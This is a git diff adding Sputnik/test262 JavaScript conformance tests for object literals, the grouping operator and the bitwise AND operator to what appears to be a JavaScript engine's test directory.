diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.4.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.4.js
new file mode 100644
index 000000000..5919596dc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A1.4.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ObjectLiteral: { Identifier : AssignmentExpression}
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A1.4.js
+ * @description Checking various properteis and contents of the object defined with "var object = {prop : true}"
+ */
+
+var object = {prop : true};
+
+//CHECK#1
+if (typeof object !== "object") {
+ $ERROR('#1: var object = {prop : true}; typeof object === "object". Actual: ' + (typeof object));
+}
+
+//CHECK#2
+if (object instanceof Object !== true) {
+ $ERROR('#2: var object = {prop : true}; object instanceof Object === true');
+}
+
+//CHECK#3
+if (object.toString !== Object.prototype.toString) {
+ $ERROR('#3: var object = {prop : true}; object.toString === Object.prototype.toString. Actual: ' + (object.toString));
+}
+
+//CHECK#4
+if (object["prop"] !== true) {
+ $ERROR('#4: var object = {prop : true}; object["prop"] === true');
+}
+
+//CHECK#5
+if (object.prop !== true) {
+ $ERROR('#5: var object = {prop : true}; object.prop === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A2.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A2.js
new file mode 100644
index 000000000..808578392
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A2.js
@@ -0,0 +1,94 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ObjectLiteral: { PropertyName : AssignmentExpression }
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A2.js
+ * @description Creating property "prop" of various types(boolean, number and etc.)
+ */
+
+//CHECK#1
+var x = true;
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#1: var x = true; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#2
+var x = new Boolean(true);
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#2: var x = new Boolean(true); var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#3
+var x = 1;
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#3: var x = 1; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#4
+var x = new Number(1);
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#4: var x = new Number(1); var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#5
+var x = "1";
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#5: var x = "1"; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#6
+var x = new String(1);
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#6: var x = new String(1); var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#7
+var x = undefined;
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#7: var x = undefined; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#8
+var x = null;
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#8: var x = null; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#9
+var x = {};
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#9: var x = {}; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#10
+var x = [1,2];
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#10: var x = [1,2]; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#11
+var x = function() {};
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#11: var x = function() {}; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
+//CHECK#12
+var x = this;
+var object = {prop : x};
+if (object.prop !== x) {
+ $ERROR('#12: var x = this; var object = {prop : x}; object.prop === x. Actual: ' + (object.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A3.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A3.js
new file mode 100644
index 000000000..1d0024a9f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Evaluate the production ObjectLiteral: { PropertyNameAndValueList }
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A3.js
+ * @description Creating the object defined with "var object = {0 : 1, "1" : "x", o : {}}"
+ */
+
+var object = {0 : 1, "1" : "x", o : {}};
+
+//CHECK#1
+if (object[0] !== 1) {
+ $ERROR('#1: var object = {0 : 1; "1" : "x"; o : {}}; object[0] === 1. Actual: ' + (object[0]));
+}
+
+//CHECK#2
+if (object["1"] !== "x") {
+ $ERROR('#2: var object = {0 : 1; "1" : "x"; o : {}}; object["1"] === "x". Actual: ' + (object["1"]));
+}
+
+//CHECK#3
+if (typeof object.o !== "object") {
+ $ERROR('#1: var object = {0 : 1; "1" : "x"; o : {}}; typeof object.o === "object". Actual: ' + (typeof object.o));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.1.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.1.js
new file mode 100644
index 000000000..b1d2a2f90
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The PropertyName is not really a BooleanLiteral
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A4.1.js
+ * @description Checking if execution of "var object = {true : 1}" does not fail
+ */
+
+//CHECK#1
+var object = {true : 1};
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.2.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.2.js
new file mode 100644
index 000000000..ebeb5fbc6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.2.js
@@ -0,0 +1,12 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The PropertyName is not really a nullLiteral
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A4.2.js
+ * @description Checking if execution of "var object = {null : true}" does not fail
+ */
+
+//CHECK#1
+var object = {null : true};
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.3.js b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.3.js
new file mode 100644
index 000000000..03c89ee99
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/S11.1.5_A4.3.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The PropertyName is undefined, ToString(BooleanLiteral), ToString(nullLiteral)
+ *
+ * @path ch11/11.1/11.1.5/S11.1.5_A4.3.js
+ * @description Creating properties with following names: undefined, 'true', 'null'
+ */
+
+//CHECK#1
+var object = {undefined : true};
+if (object.undefined !== true) {
+ $ERROR('#1: var object = {undefined : true}; object.undefined === true');
+}
+
+//CHECK#2
+var object = {undefined : true};
+if (object["undefined"] !== true) {
+ $ERROR('#2: var object = {undefined : true}; object["undefined"] === true');
+}
+
+//CHECK#3
+var object = {"true" : true};
+if (object["true"] !== true) {
+ $ERROR('#3: var object = {"true" : true}; object["true"] === true');
+}
+
+//CHECK#4
+var object = {"null" : true};
+if (object["null"] !== true) {
+ $ERROR('#4: var object = {"null" : true}; object["null"] === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/browser.js b/js/src/tests/test262/ch11/11.1/11.1.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/browser.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.5/shell.js b/js/src/tests/test262/ch11/11.1/11.1.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.5/shell.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A1.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A1.js
new file mode 100644
index 000000000..d6b8323a8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator inside "grouping" operator are allowed
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A1.js
+ * @description Inserting WhiteSpaces and LineTerminators into grouping operator. Eval is used
+ */
+
+//CHECK#1
+if (eval("(\u00091\u0009)") !== 1) {
+ $ERROR('#1: (\\u00091\\u0009) === 1');
+}
+
+//CHECK#2
+if (eval("(\u000B1\u000B)") !== 1) {
+ $ERROR('#2: (\\u000B1\\u000B) === 1');
+}
+
+//CHECK#3
+if (eval("(\u000C1\u000C)") !== 1) {
+ $ERROR('#3: (\\u000C1\\u000C) === 1');
+}
+
+//CHECK#4
+if (eval("(\u00201\u0020)") !== 1) {
+ $ERROR('#4: (\\u00201\\u0020 === 1');
+}
+
+//CHECK#5
+if (eval("(\u00A01\u00A0)") !== 1) {
+ $ERROR('#5: (\\u00A01\\u00A0) === 1');
+}
+
+//CHECK#6
+if (eval("(\u000A1\u000A)") !== 1) {
+ $ERROR('#6: (\\u000A1\\u000A) === 1');
+}
+
+//CHECK#7
+if (eval("(\u000D1\u000D)") !== 1) {
+ $ERROR('#7: (\\u000D1\\u000D) === 1');
+}
+
+//CHECK#8
+if (eval("(\u20281\u2028)") !== 1) {
+ $ERROR('#8: (\\u20281\\u2028) === 1');
+}
+
+//CHECK#9
+if (eval("(\u20291\u2029)") !== 1) {
+ $ERROR('#9: (\\u20291\\u2029) === 1');
+}
+
+//CHECK#10
+if (eval("(\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029)") !== 1) {
+ $ERROR('#10: (\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A2.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A2.js
new file mode 100644
index 000000000..30d5c290c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator doesn't use GetValue. The operators "delete" and "typeof" can be applied to parenthesised expressions
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A2.js
+ * @description Applying "delete" and "typeof" operators to an undefined variable and a property of an object
+ */
+
+//CHECK#1
+if (delete (x) !== true) {
+ $ERROR('#1: delete (x) === true');
+}
+
+//CHECK#2
+if (typeof (x) !== "undefined") {
+ $ERROR('#2: typeof (x) === "undefined". Actual: ' + (typeof (x)));
+}
+
+var object = {};
+//CHECK#3
+if (delete (object.prop) !== true) {
+ $ERROR('#3: var object = {}; delete (object.prop) === true');
+}
+
+//CHECK#4
+if (typeof (object.prop) !== "undefined") {
+ $ERROR('#4: var object = {}; typeof (object.prop) === "undefined". Actual: ' + (typeof (object.prop)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T1.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T1.js
new file mode 100644
index 000000000..26a030104
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator only evaluates Expression
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A3_T1.js
+ * @description Applying grouping operator to Boolean
+ */
+
+// Check for Boolean
+
+//CHECK#1
+if ((true) !== true) {
+ $ERROR('#1: (true) === true');
+}
+
+//CHECK#2
+var x = new Boolean(true);
+if ((x) !== x) {
+ $ERROR('#2: var x = new Boolean(true); (x) === x. Actual: ' + ((x)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T2.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T2.js
new file mode 100644
index 000000000..e29e039f4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T2.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator only evaluates Expression
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A3_T2.js
+ * @description Applying grouping operator to Number
+ */
+
+//Check for Number
+
+//CHECK#1
+if ((1) !== 1) {
+ $ERROR('#1: (1) === 1. Actual: ' + ((1)));
+}
+
+//CHECK#2
+var x = new Number(1);
+if ((x) !== x) {
+ $ERROR('#2: var x = new Number(1); (x) === x. Actual: ' + ((x)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T3.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T3.js
new file mode 100644
index 000000000..a673bd31d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T3.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator only evaluates Expression
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A3_T3.js
+ * @description Applying grouping operator to String
+ */
+
+//Check for String
+
+//CHECK#1
+if (("1") !== "1") {
+ $ERROR('#1: ("1") === "1". Actual: ' + (("1")));
+}
+
+//CHECK#2
+if (("x") !== "x") {
+ $ERROR('#2: ("x") === "x". Actual: ' + (("x")));
+}
+
+//CHECK#3
+var x = new Number("1");
+if ((x) !== x) {
+ $ERROR('#3: var x = new Number("1"); (x) === x. Actual: ' + ((x)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T4.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T4.js
new file mode 100644
index 000000000..2c049ccc9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T4.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator only evaluates Expression
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A3_T4.js
+ * @description Applying grouping operator to undefined
+ */
+
+//Check for undefined and null
+
+//CHECK#1
+if ((undefined) !== undefined) {
+ $ERROR('#1: (undefined) === undefined. Actual: ' + ((undefined)));
+}
+
+//CHECK#2
+if ((void 0) !== void 0) {
+ $ERROR('#2: (void 0) === void 0. Actual: ' + ((void 0)));
+}
+
+//CHECK#2
+if ((null) !== null) {
+ $ERROR('#2: (null) === null. Actual: ' + ((null)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T5.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T5.js
new file mode 100644
index 000000000..6fe51bbe9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T5.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator only evaluates Expression
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A3_T5.js
+ * @description Using grouping operator in declaration of variables
+ */
+
+//CHECK#1
+(x) = 1;
+if (x !== 1) {
+ $ERROR('#1: (x) = 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+var y = 1; (y)++; ++(y); (y)--; --(y);
+if (y !== 1) {
+ $ERROR('#2: var y = 1; (y)++; ++(y); (y)--; --(y); y === 1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T6.js b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T6.js
new file mode 100644
index 000000000..e4398bfff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/S11.1.6_A3_T6.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "This" operator only evaluates Expression
+ *
+ * @path ch11/11.1/11.1.6/S11.1.6_A3_T6.js
+ * @description Applying grouping operator to delete and typeof operators
+ */
+
+//CHECK#1
+if (delete (x) !== true) {
+ $ERROR('#1: delete (x) === true');
+}
+
+//CHECK#2
+if (typeof (x) !== "undefined") {
+ $ERROR('#2: typeof (x) === "undefined". Actual: ' + (typeof (x)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/browser.js b/js/src/tests/test262/ch11/11.1/11.1.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/browser.js
diff --git a/js/src/tests/test262/ch11/11.1/11.1.6/shell.js b/js/src/tests/test262/ch11/11.1/11.1.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/11.1.6/shell.js
diff --git a/js/src/tests/test262/ch11/11.1/browser.js b/js/src/tests/test262/ch11/11.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.1/shell.js b/js/src/tests/test262/ch11/11.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A1.js
new file mode 100644
index 000000000..25416cdca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A1.js
@@ -0,0 +1,61 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between BitwiseANDExpression and "&" or between "&" and EqualityExpression are allowed
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A1.js
+ * @description Checking uses eval
+ */
+
+//CHECK#1
+if ((eval("1\u0009&\u00091")) !== 1) {
+ $ERROR('#1: (1\\u0009&\\u00091) === 1');
+}
+
+//CHECK#2
+if ((eval("1\u000B&\u000B1")) !== 1) {
+ $ERROR('#2: (1\\u000B&\\u000B1) === 1');
+}
+
+//CHECK#3
+if ((eval("1\u000C&\u000C1")) !== 1) {
+ $ERROR('#3: (1\\u000C&\\u000C1) === 1');
+}
+
+//CHECK#4
+if ((eval("1\u0020&\u00201")) !== 1) {
+ $ERROR('#4: (1\\u0020&\\u00201) === 1');
+}
+
+//CHECK#5
+if ((eval("1\u00A0&\u00A01")) !== 1) {
+ $ERROR('#5: (1\\u00A0&\\u00A01) === 1');
+}
+
+//CHECK#6
+if ((eval("1\u000A&\u000A1")) !== 1) {
+ $ERROR('#6: (1\\u000A&\\u000A1) === 1');
+}
+
+//CHECK#7
+if ((eval("1\u000D&\u000D1")) !== 1) {
+ $ERROR('#7: (1\\u000D&\\u000D1) === 1');
+}
+
+//CHECK#8
+if ((eval("1\u2028&\u20281")) !== 1) {
+ $ERROR('#8: (1\\u2028&\\u20281) === 1');
+}
+
+//CHECK#9
+if ((eval("1\u2029&\u20291")) !== 1) {
+ $ERROR('#9: (1\\u2029&\\u20291) === 1');
+}
+
+
+//CHECK#10
+if ((eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029&\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291")) !== 1) {
+ $ERROR('#10: (1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029&\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291) === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T1.js
new file mode 100644
index 000000000..4acb431bc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y uses GetValue
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if ((1 & 1) !== 1) {
+ $ERROR('#1: (1 & 1) === 1. Actual: ' + ((1 & 1)));
+}
+
+//CHECK#2
+var x = 1;
+if ((x & 1) !== 1) {
+ $ERROR('#2: var x = 1; (x & 1) === 1. Actual: ' + ((x & 1)));
+}
+
+//CHECK#3
+var y = 1;
+if ((1 & y) !== 1) {
+ $ERROR('#3: var y = 1; (1 & y) === 1. Actual: ' + ((1 & y)));
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if ((x & y) !== 1) {
+ $ERROR('#4: var x = 1; var y = 1; (x & y) === 1. Actual: ' + ((x & y)));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if ((objectx.prop & objecty.prop) !== 1) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; (objectx.prop & objecty.prop) === 1. Actual: ' + ((objectx.prop & objecty.prop)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T2.js
new file mode 100644
index 000000000..91f0369a6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y uses GetValue
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x & 1;
+ $ERROR('#1.1: x & 1 throw ReferenceError. Actual: ' + (x & 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x & 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T3.js
new file mode 100644
index 000000000..eb308b1b8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y uses GetValue
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 & y;
+ $ERROR('#1.1: 1 & y throw ReferenceError. Actual: ' + (1 & y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 & y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.2_T1.js
new file mode 100644
index 000000000..b5aafe3d8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x & y uses [[Default Value]]
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if (({valueOf: function() {return 1}} & 1) !== 1) {
+ $ERROR('#1: ({valueOf: function() {return 1}} & 1) === 1. Actual: ' + (({valueOf: function() {return 1}} & 1)));
+}
+
+//CHECK#2
+if (({valueOf: function() {return 1}, toString: function() {return 0}} & 1) !== 1) {
+ $ERROR('#2: ({valueOf: function() {return 1}, toString: function() {return 0}} & 1) === 1. Actual: ' + (({valueOf: function() {return 1}, toString: function() {return 0}} & 1)));
+}
+
+//CHECK#3
+if (({valueOf: function() {return 1}, toString: function() {return {}}} & 1) !== 1) {
+ $ERROR('#3: ({valueOf: function() {return 1}, toString: function() {return {}}} & 1) === 1. Actual: ' + (({valueOf: function() {return 1}, toString: function() {return {}}} & 1)));
+}
+
+//CHECK#4
+try {
+ if (({valueOf: function() {return 1}, toString: function() {throw "error"}} & 1) !== 1) {
+ $ERROR('#4.1: ({valueOf: function() {return 1}, toString: function() {throw "error"}} & 1) === 1. Actual: ' + (({valueOf: function() {return 1}, toString: function() {throw "error"}} & 1)));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: ({valueOf: function() {return 1}, toString: function() {throw "error"}} & 1) not throw "error"');
+ } else {
+ $ERROR('#4.3: ({valueOf: function() {return 1}, toString: function() {throw "error"}} & 1) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if ((1 & {toString: function() {return 1}}) !== 1) {
+ $ERROR('#5.1: (1 & {toString: function() {return 1}}) === 1. Actual: ' + ((1 & {toString: function() {return 1}})));
+}
+
+//CHECK#6
+if ((1 & {valueOf: function() {return {}}, toString: function() {return 1}}) !== 1) {
+ $ERROR('#6: (1 & {valueOf: function() {return {}}, toString: function() {return 1}}) === 1. Actual: ' + ((1 & {valueOf: function() {return {}}, toString: function() {return 1}})));
+}
+
+//CHECK#7
+try {
+ 1 & {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 1 & {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 & {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 & {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 & {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 & {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 & {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 & {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.3_T1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.3_T1.js
new file mode 100644
index 000000000..079e2ccb4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToInt32(first expression) is called first, and then ToInt32(second expression)
+ *
+ * @path ch11/11.10/11.10.1/S11.10.1_A2.3_T1.js
+ * @description Checking by using "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x & y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x & y throw "x". Actual: ' + (x & y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToInt32(first expression) is called first, and then ToInt32(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x & y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T1.js
new file mode 100644
index 000000000..c77c23d5d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.1/S11.10.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
